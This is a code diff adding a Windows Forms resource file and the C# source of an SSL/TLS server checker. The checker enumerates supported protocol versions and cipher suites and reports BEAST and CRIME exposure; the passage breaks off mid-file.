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 + + + + + + + + + + + + 100 + 23 + + + 13 + 39 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + True + Microsoft Sans Serif + False + 9 + False + False + + T3V0cHV0Og== + + + + + + _outputText + + + 543 + 335 + + + 13 + 65 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + False + Both + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + False + Left + + + + + + + + + + _goBtn + + + 75 + 23 + + + 478 + 7 + + + True + False + True + False + + None + True + -986896 + -16777216 + + True + Microsoft Sans Serif + False + 9 + False + False + + R28= + + + exec_checks + + + + _portValue + + + 70 + 20 + + + 402 + 9 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + False + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + False + + + True + Left + NDQz + + + + + + + + _portLbl + + + 40 + 23 + + + 366 + 9 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + True + Microsoft Sans Serif + False + 9 + False + False + + UG9ydDo= + + + + + + _hostNameValue + + + 265 + 20 + + + 94 + 9 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + False + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + False + + + True + Left + ZS5nLiBpcm9ud2FzcC5vcmc= + + + + + + + + _hostNameLbl + + + 76 + 23 + + + 12 + 9 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + True + Microsoft Sans Serif + False + 9 + False + False + + SG9zdG5hbWU6 + + + + + + + + + + 8 + 8 + + + 20 + 0 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + + + + + + + + \ No newline at end of file diff --git a/modules/SSLSecurityChecker/TestSSLServer.cs b/modules/SSLSecurityChecker/TestSSLServer.cs new file mode 100644 index 0000000..03c977c --- /dev/null +++ b/modules/SSLSecurityChecker/TestSSLServer.cs @@ -0,0 +1,1705 @@ +/* + * Command-line tool to test a SSL/TLS server for some vulnerabilities. + * ===================================================================== + * + * This application connects to the provided SSL/TLS server (by name and + * port) and extracts the following information: + * - supported versions (SSL 2.0, SSL 3.0, TLS 1.0 to 1.2) + * - support of Deflate compression + * - list of supported cipher suites (for each protocol version) + * - BEAST/CRIME vulnerabilities. + * + * BEAST and CRIME are client-side attack, but the server can protect the + * client by refusing to use the feature combinations which can be + * attacked. For CRIME, the weakness is Deflate compression. For BEAST, + * the attack conditions are more complex: it works with CBC ciphers with + * SSL 3.0 and TLS 1.0. Hence, a server fails to protect the client against + * BEAST if it does not enforce usage of RC4 over CBC ciphers under these + * protocol versions, if given the choice. + * + * (The BEAST test considers only the cipher suites with strong + * encryption; if the server supports none, then there are bigger + * problems. We also assume that all clients support RC4-128; thus, the + * server protects the client if it selects RC4-128 even if some strong + * CBC-based ciphers are announced as supported by the client with a + * higher preference level.) + * + * ---------------------------------------------------------------------- + * Copyright (c) 2012 Thomas Pornin + * + * Permission is hereby granted, free of charge, to any person obtaining + * a copy of this software and associated documentation files (the + * "Software"), to deal in the Software without restriction, including + * without limitation the rights to use, copy, modify, merge, publish, + * distribute, sublicense, and/or sell copies of the Software, and to + * permit persons to whom the Software is furnished to do so, subject to + * the following conditions: + * + * The above copyright notice and this permission notice shall be + * included in all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, + * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND + * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS + * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN + * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN + * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * ---------------------------------------------------------------------- + */ + +using System; +using System.Collections.Generic; +using System.IO; +using System.Net.Sockets; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; +using System.Text; + +namespace TestSSLServer +{ + + public class TestSSLServer + { + + //static void Usage() + //{ + // Console.WriteLine("usage: TestSSLServer servername [ port ]"); + // Environment.Exit(1); + //} + + //static void Main(string[] args) + //{ + // try + // { + // RunChecks(args); + // } + // catch (Exception e) + // { + // Console.WriteLine(e.ToString()); + // Environment.Exit(1); + // } + //} + public delegate void OutputMessageEvent(string Output); + + public event OutputMessageEvent OutputMessage; //remove static + + public bool OutputEventSet + { + get + { + if (OutputMessage == null) + { + return false; + } + else + { + return true; + } + } + } + + public void DebugOutput(string Output) + { + if (OutputMessage != null) + { + try + { + OutputMessage(Output+"\n"); + } + catch + { } + } + } + + bool InitDone = false; + + public string RunChecks(string name, string sslport ) + { + if (!InitDone) + { + InitCipherSuites(); + } + InitDone = true; + //if (args.Length == 0 || args.Length > 2) + //{ + // Usage(); + //} + //string name = args[0]; + + StringBuilder output = new StringBuilder(); + + int port = Int32.Parse(sslport); + //if (args.Length == 2) + //{ + // try + // { + // port = Int32.Parse(args[1]); + // } + // catch (Exception) + // { + // //Usage(); + // } + // if (port <= 0 || port > 65535) + // { + // //Usage(); + // } + //} + + IDictionary sv = new SortedDictionary(); + bool compress = false; + + /* SSL_PROTOCOL_VERSION_SSL3 = 0x0300 + * SSL_PROTOCOL_VERSION_TLS1 = 0x0301 + * SSL_PROTOCOL_VERSION_TLS1_1 = 0x0302 + * SSL_PROTOCOL_VERSION_TLS1_2 = 0x0303 + */ + string protoVersion; + + for (int v = 0x0300; v <= 0x0303; v++) + { + switch (v) + { + case 0x0300: + protoVersion = "SSL v3.0"; + break; + case 0x0301: + protoVersion = "TLS v1.0"; + break; + case 0x0302: + protoVersion = "TLS v1.1"; + break; + case 0x0303: + protoVersion = "TLS v1.2"; + break; + default: + protoVersion = ""; + break; + } + + DebugOutput("[+INFO] Sending ServerHello for " + protoVersion); + + ServerHello sh = Connect(name, port, v, CIPHER_SUITES.Keys); + + if (sh == null) + { + DebugOutput("[+INFO] Server did not respond for " + protoVersion); + continue; + } + + AddToSet(sv, sh.protoVersion); + if (sh.compression == 1) + { + compress = true; + DebugOutput("[+FINDING] Server supports Deflate compression and may be vulnerable to CRIME attack"); + } + } + + DebugOutput("[+INFO] Sending ServerHello for SSL v2.0"); + ServerHelloSSLv2 sh2 = ConnectV2(name, port); + if (sh2 != null) + { + AddToSet(sv, 0x0200); + } + + if (sv.Count == 0) + { + output.AppendLine("No SSL/TLS server at " + name + ":" + port); + //Environment.Exit(1); + return output.ToString(); + } + + output.AppendLine("Supported versions:"); + foreach (int v in sv.Keys) + { + output.Append(" "); + output.Append(VersionString(v)); + DebugOutput("[+FINDING] Server Supports " + VersionString(v)); + } + output.AppendLine(""); + output.AppendLine("Deflate compression: " + (compress ? "YES" : "no")); + + output.AppendLine("Supported cipher suites (ORDER IS NOT SIGNIFICANT):"); + IDictionary lastSuppCS = null; + IDictionary> suppCS = new SortedDictionary>(); + IDictionary certID = new SortedDictionary(); + + if (sh2 != null) + { + output.AppendLine(" " + VersionString(0x0200)); + IDictionary vc2 = new SortedDictionary(); + foreach (int c in sh2.cipherSuites) + { + AddToSet(vc2, c); + } + foreach (int c in vc2.Keys) + { + output.AppendLine(" " + CipherSuiteString(c)); + } + suppCS.Add(0x0200, vc2); + if (sh2.serverCertName != null) + { + AddToSet(certID, sh2.serverCertHash + ": " + sh2.serverCertName); + } + } + + foreach (int v in sv.Keys) + { + if (v == 0x0200) + { + continue; + } + IDictionary vsc = SupportedSuites(name, port, v, certID); + suppCS.Add(v, vsc); + if (!SameSetInt(lastSuppCS, vsc)) + { + output.AppendLine(" " + VersionString(v)); + foreach (int c in vsc.Keys) + { + output.AppendLine(" " + CipherSuiteString(c)); + //DebugOutput("[+FINDING] For " + VersionString(v) + " " + CipherSuiteString(c) + " Cipher supported "); + } + lastSuppCS = vsc; + } + else + { + output.AppendLine(" (" + VersionString(v) + ": idem)"); + } + } + output.AppendLine("----------------------"); + if (certID.Count == 0) + { + output.AppendLine("No server certificate !"); + } + else + { + output.AppendLine("Server certificate(s):"); + foreach (string cc in certID.Keys) + { + output.AppendLine(" " + cc); + } + } + output.AppendLine("----------------------"); + int agMaxStrength = STRONG; + int agMinStrength = STRONG; + bool vulnBEAST = false; + foreach (int v in sv.Keys) + { + IDictionary vsc = suppCS[v]; + agMaxStrength = Math.Min( + MaxStrength(vsc), agMaxStrength); + agMinStrength = Math.Min( + MinStrength(vsc), agMinStrength); + if (!vulnBEAST) + { + vulnBEAST = TestBEAST(name, port, v, vsc); + DebugOutput((vulnBEAST ? "[+FINDING] Server appears to be vulnerable to BEAST attack as it supports CBC mode ciphers" + : "[+INFO] Server does not appear to be vulnerable to BEAST attack")); + } + } + output.AppendLine("Minimal encryption strength: " + + StrengthString(agMinStrength)); + output.AppendLine("Achievable encryption strength: " + + StrengthString(agMaxStrength)); + output.AppendLine("BEAST status: " + + (vulnBEAST ? "vulnerable" : "protected")); + output.AppendLine("CRIME status: " + + (compress ? "vulnerable" : "protected")); + //Console.WriteLine(output.ToString()); + return output.ToString(); + } + + void AddToSet(IDictionary s, T val) + { + if (!s.ContainsKey(val)) + { + s.Add(val, 0); + } + } + + bool IsInSet(IDictionary s, T val) + { + return s.ContainsKey(val); + } + + bool SameSetInt( + IDictionary s1, IDictionary s2) + { + if (s1 == s2) + { + return true; + } + if (s1 == null || s2 == null) + { + return false; + } + if (s1.Count != s2.Count) + { + return false; + } + foreach (int k in s1.Keys) + { + if (!s2.ContainsKey(k)) + { + return false; + } + } + return true; + } + + /* + * Get cipher suites supported by the server. This is done by + * repeatedly contacting the server, each time removing from our + * list of supported suites the suite which the server just + * selected. We keep on until the server can no longer respond + * to us with a ServerHello. + */ + IDictionary SupportedSuites( + string name, int port, int version, + IDictionary serverCertID) + { + IDictionary cs = new SortedDictionary(); + foreach (int k in CIPHER_SUITES.Keys) + { + AddToSet(cs, k); + } + IDictionary rs = new SortedDictionary(); + for (; ; ) + { + ServerHello sh = Connect(name, port, version, cs.Keys); + if (sh == null) + { + break; + } + + if (!IsInSet(cs, sh.cipherSuite)) + { + DebugOutput(String.Format("[ERR: server wants to use" + + " cipher suite 0x{0:X4} which client" + + " did not announce]", sh.cipherSuite)); + break; + } + cs.Remove(sh.cipherSuite); + AddToSet(rs, sh.cipherSuite); + + if (version == 0x0200) + { + DebugOutput("[+FINDING] Cipher " + CipherSuiteStringV2(sh.cipherSuite) + " is supported for " + VersionString(version)); + } + else + { + DebugOutput("[+FINDING] Cipher " + CipherSuiteString(sh.cipherSuite) + " is supported for " + VersionString(version)); + } + + if (sh.serverCertName != null) + { + AddToSet(serverCertID, sh.serverCertHash + ": " + sh.serverCertName); + } + } + return rs; + } + + int MinStrength(IDictionary supp) + { + int m = STRONG; + foreach (int suite in supp.Keys) + { + CipherSuite cs = CIPHER_SUITES[suite]; + if (cs == null) + { + continue; + } + if (cs.strength < m) + { + m = cs.strength; + } + } + return m; + } + + int MaxStrength(IDictionary supp) + { + int m = CLEAR; + foreach (int suite in supp.Keys) + { + CipherSuite cs = CIPHER_SUITES[suite]; + if (cs == null) + { + continue; + } + if (cs.strength > m) + { + m = cs.strength; + } + } + return m; + } + + bool 